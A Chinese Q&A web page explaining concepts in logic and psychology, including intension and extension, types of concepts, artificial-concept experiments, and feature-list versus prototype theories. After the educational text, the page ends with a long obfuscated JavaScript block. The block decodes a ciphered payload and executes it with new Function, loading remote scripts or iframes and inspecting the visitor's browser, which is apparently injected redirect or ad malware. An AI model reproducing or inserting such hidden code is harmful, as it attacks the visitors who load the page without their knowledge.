推荐回答(3个)
概念是反映思维对象的、决定该对象之所以成为该对象并区别于其他对象的本质属性和分子范围的思维形式.概念的两个逻辑特征
内涵:概念对思维对象本质属性的反映.
外延:概念对思维对象分子范围的反映.
概念的种类有单独概念和普遍概念、集合概念和非集合概念、单独概念:反映只有一个分子对象的概念,是独一无二的.例:北京,长城,张三,中国体操队等.
专有名词,代词或批示代词都表达单独概念.
普遍概念:反映具有两个或两个以上分子的对象的概念.
例:花,诗人,律师,走,勤劳等
集合概念:把对象作为集合体来反映的概念.
( 由许多同类个体有机组成的统一整体)
例:中华民族,森林,工人阶级等
非集合概念:不把对象作为集合体来反映的概念
例:书,树,工人等
同一语词有时是集合概念,有时表达非集合概念
例: 集合概念(相对于一本本的书来说)
正概念:反映对象具有某种属性的概念.
例:等价交换,正义战争,勇敢等
负概念:在某一论域里否定意义的概念.
例:不等价交换,非正义战争,不勇敢等.
注意:有些专有名词虽然带有否定词,但不表达负概念.
例:非洲,无锡等。概念间的关系
指概念外延间的关系,有五种关系:
全同关系(北京与中华人民共和国首都)
真包含于关系(长篇小说与小说)
真包含关系(法律与刑法)
交叉关系(科学家与医生)
全异关系(动物与石头 红与白等)
作为哲学范畴的价值,是指客体以自身属性满足主体需要或主体需要被客体满足的效用关系
概念
对事物本质属性的反映,是在感觉和知觉基础上产生的对事物的概括性认识。人们可以感知一个具体的事物,但感觉和知觉只能反映直接作用于感官的事物的属性,即事物的表面现象。例如,人们可以感知许多不同的鸟,反映它们的大小、外形、羽毛颜色等特点。通过思维对这些感性经验进行加工,就能够进一步把握各种不同的鸟所共有的属性,即鸟的本质特征:鸟是有羽毛的动物,这就是鸟的概念。概念从整体上概括一类事物的本质属性,比感觉知觉能更全面、更深刻地反映客观事物。概念是以词来表示的,但概念并不等同于词。概念构成词的意义,词是概念的物质外壳,同一个词可以
表示不同的概念,而同一个概念可由不同的词来表示。
概念的外延和内涵 概念具有外延和内涵两个方面。概念的外延是指具有该概念所反映的本质属性的一切事物。鸟的概念的外延是所有各种各样的鸟。概念的内涵是指概念所反映的事物的本质属性的总和,鸟的概念内涵包含鸟有羽毛和鸟是动物。概念的外延和内涵是紧密联系、互相制约的。外延确定以后,内涵也会随之得到确定,反之亦然。它们之间还存在一种相反的关系。如果一个概念的外延增多,其内涵就会减少;如果一个概念的内涵增多,其外延就会减少。鸟这一概念的外延少于动物这一概念的外延,因为动物的外延包含了鸟和所有其他的动物,但鸟的内涵却多于动物的内涵。因为鸟除具有一切动物的共同属性外,还具有不同于其他动物的特殊的属性,如有羽毛等。因此,可以用增加或减少概念内涵的办法对概念进行限制或概括。真正地掌握一个概念既需要正确地把握它的外延,也需要正确地把握它的内涵,否则就会发生不合理地扩大概念或不合理地缩小概念这类错误。如果将“会飞”的属性加进鸟这一概念的内涵,就会将不会飞的鸭鹅排除出鸟的外延。了解概念的内涵和外延的关系对掌握概念,特别是把握概念之间的关系十分必要。
从概念的外延来看,可以区分出单独概念、普遍概念和集合概念等。单独概念是关于某一特定事物的概念,它的外延只有一个事物,如“黄河”、“鲁迅”、“北京大学”等;而它的内涵仍然带有概括的性质,它是人们有关某一特定事物的各种知识经验的概括。普遍概念是关于一类事物的概念,它的外延包括全部同类的个体,如“房屋”、“汽车”等。集合概念的外延是一些事物组成的集合体,如“花束”、“词汇”等。一个集合体所具有的属性,并不一定为它的组成部分所具有。
从概念的内涵来看,概念可区分为实物概念和抽象概念。实物概念是关于事物的整体的概念,它反映完整的客体的本质属性,如“飞机”、“椅子”等。抽象概念不是关于事物的整体,而是关于事物的某个属性、状态、与其他事物的联系的概念,如“硬度”、“运动”、“平等”、“价值”等。这些属性、状态、联系等都是从完整的事物中分离出来的某个方面。一些实物概念和抽象概念同时又是普遍概念。实物概念一般都与表象有密切联系,甚至可以说具有一定的感性成分。当人们头脑里出现某个概念时,会同时出现与之有关的表象。抽象概念与表象的联系不是直接的,而是通过更具体的概念间接地与表象相联系的。例如,运动的概念需要通过某种特定物体的运动与表象发生联系。这也是抽象概念比实物概念难于掌握的一个原因。
概念的功能 概念是在人类社会历史发展过程中形成的,是人类知识经验的概括和总结。概念的内涵随人类社会实践的发展而变化。每一代新人都要通过掌握已有的概念来获得社会积累的知识经验,才能得到正常的心理发展并参加到社会生活中来。
人通过各种感官得到的感性经验是极其丰富多样的,即使对于同一事物,人在不同条件下所得到的感性经验也是千差万别的。感性经验具有很大的变异性。但是,在感性经验基础上形成的概念却是相对稳定的。因此,概念成为人们有关某种事物的全部知识经验的核心,使有关的知识经验能够围绕这个核心组织起来,构成一定的系统。个人经验的系统化有利于知识经验的记忆,为人们获得新的知识经验提供必要的内部条件,也使人们能应用已有的知识经验于各种不同的情境。这方面的一个突出的实例就是再认,即当过去感知过的事物再度出现在一个人的面前时,他能够知道这个事物是什么。在一类客体中,只要人们曾经感知过一些个体,当其他过去未被感知过的个体出现时,人们也能在不同程度上加以再认。认知依赖于人们已经掌握并存储在记忆中的有关概念。当人们再度感知某一事物时,存储在记忆中的有关该事物的概念就会被激活,经过思维操作,将当前感知的事物纳入相应的概念中去,这样也就实现了再认。越是熟悉的东西,这个过程越简短,再认也越迅速和准确。概念在人的思维活动中占有重要的地位,人有高度发达的抽象思维。它借助于概念进行判断和推理。判断由概念构成,推理是从几个判断中引出一个新的判断。概念构成人的思维的基本单位,人们已经掌握的概念的数量和程度直接影响着思维的进程和水平。
人工概念 心理学主要研究现实事物的概念,即自然概念。但为了研究的方便,在实验室中也应用所谓人工概念。人工概念是对某些自然概念的模拟。它是由实验者人为地将事物的几个属性结合起来制造出的一个概念。应用一定的实验程序,让被试来发现实验者所规定的各种属性,从而掌握该人工概念。例如在J.布鲁纳、J.J.古德诺和G.A.奥斯汀于50年代初所做的人工概念实验中,每张卡片都画有一个图形。图形的形状、颜色、数目和边框数是构成每一特定图形的4个维量。 每个维量又分3个水平,即各具有3个属性(值)。如形状这一维量有十字、圆形、方块3个属性;颜色有绿、黑、红;图形数和边框数也各有3个属性。每一张图片都具有4个维量的各一个属性,于是每一图片都与另一图片有1~4个维量(属性)的区别。这样就可以组成81(3×3×3×3)张不同的图片作为实验材料。利用这些图片进行人工概念实验时,实验者事先规定某个维量的某一属性(如红色)或几个维量的属性(如红色方形)为某人工概念的特有属性,类比于自然概念的内涵。这些维量和属性称作有关维量和有关属性,其他则称作无关维量和无关属性。凡具有所规定的全部有关属性的卡片称作概念实例或肯定实例,即属于该人工概念的外延;凡不具有或不完全具有所规定的有关属性的卡片称作否定实例。如果将图形的红色作为有关属性,则凡是具有红色图形的卡片,不管图形的形状和数目如何,也不管边框数的多少,均为肯定实例,都属于本概念之列;而没有红色图形的所有其他卡片均为否定实例,都不属于本概念,而属于非红色图形之列。这种具有一个维量的概念称作单维量概念。如果将红色方形定为有关属性,则不管其图形数目和边框数目如何,凡具有红色方形的卡片均属肯定实例,而其余卡片都为否定实例。这种具有两个或两个以上维量的概念称作多维量概念。有关维量(属性)的数目直接影响一个刺激总体中肯定实例的数目,有关维量(属性)增多,肯定实例就会减少,反之亦然。这体现出概念的外延和内涵的相反关系。当实验者指出一个肯定实例后,被试要按照自己的想法去指出属于同一概念的其他肯定实例,通过每次实验者所给予的肯定或否定反馈,被试就可以逐步发现该人工概念的内涵。人工概念的实验实际上常是一种分类实验,以有关属性为标准将一个刺激总体分成是与非两组。由有关属性或有关属性的集合所构成的分类标准也就是人工概念,被试学会正确的分类,也即掌握了该人工概念。在人工概念的实验中,如果事先规定几个独立的分类标准,就可以将一个刺激总体分成多组,使概念的形成过程更加复杂。制造人工概念的材料可以是图形、实物、字词等,其制作原则均相同,如常用的积木块。人工概念的研究可以帮助我们理解概念形成的过程,但是,人工概念毕竟只是对自然概念的模拟,与人们的实际生活相距甚远,因而有很大的局限性。
概念的结构 指概念是由哪些因素构成的。在心理学中主要有两种概念结构理论,即特征表说和原型说。特征表说吸收了许多人工概念和语义记忆的研究成果,认为概念是按照一定规则联结起来的事物的有关特征或属性。在上述“红色方形”的人工概念中,只有同时具有“红色”和“方形”这两个特征,才能成为概念实例。理解和说明这个概念,就是列举这两个特征并指出它们之间的关系——“和”,即构成一个特征表。因此,特征表说认为概念是由两方面的因素构成的:①事物的各有关特征;②各有关特征之间的关系,即整合各有关特征的规则。
概念规则还有肯定规则、析取规则和条件规则等。它们对有关特征进行其他性质的整合,构成各种性质不同的概念。
特征表说特别适宜于解释人工概念,因为人工概念是由一些独立维量和属性构成的。在一个刺激总体里,某个刺激或者是,或者不是概念实例,而且任何一个肯定实例都在同等程度上代表着该概念。但是,实际生活中的自然概念与人工概念有所不同,自然概念的维量很可能不是独立的,一些自然概念如“桌子”、“鸟”很难用独立的维量的值来解释。同时,并不是所有的鸟都能在同样的程度上表达“鸟”的概念。另外,集合概念比普遍概念带有更多的整体性,一个集合体的属性未必是其组成部分所具有的。因此,特征表说难以解释集合概念。
E.H.罗施等人提出的原型说认为,概念主要是由原型(即最佳实例)表达出来的。对概念的理解主要是依靠一些能最好地表达这个概念的实例,即原型。当我们想到“鸟”时,我们更容易想到的是麻雀而不是企鹅。在这里麻雀是鸟的原型,但是企鹅无疑也属于鸟类。所以罗施认为,概念即包含原型,也包含共同的维量。罗施将这个维量称作范畴成员的代表程度,它指出同一范畴的不同个体在表达该范畴上有不同的程度。原型的代表程度最高,其余个体则有不同的代表程度。实际上这意味着各种个体的变异性,指出其他个体可以偏离原型的距离。原型具有该范畴最多的公共属性并与其他范畴的属性重叠最少。罗施认为原型是由表象来表达的,原型加范畴成员的代表程度就构成概念。
特征表说强调实例的特征,带有分析性色彩。原型说强调原型,带有整体性色彩。二者在加深对概念结构的认识上都有一定作用。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();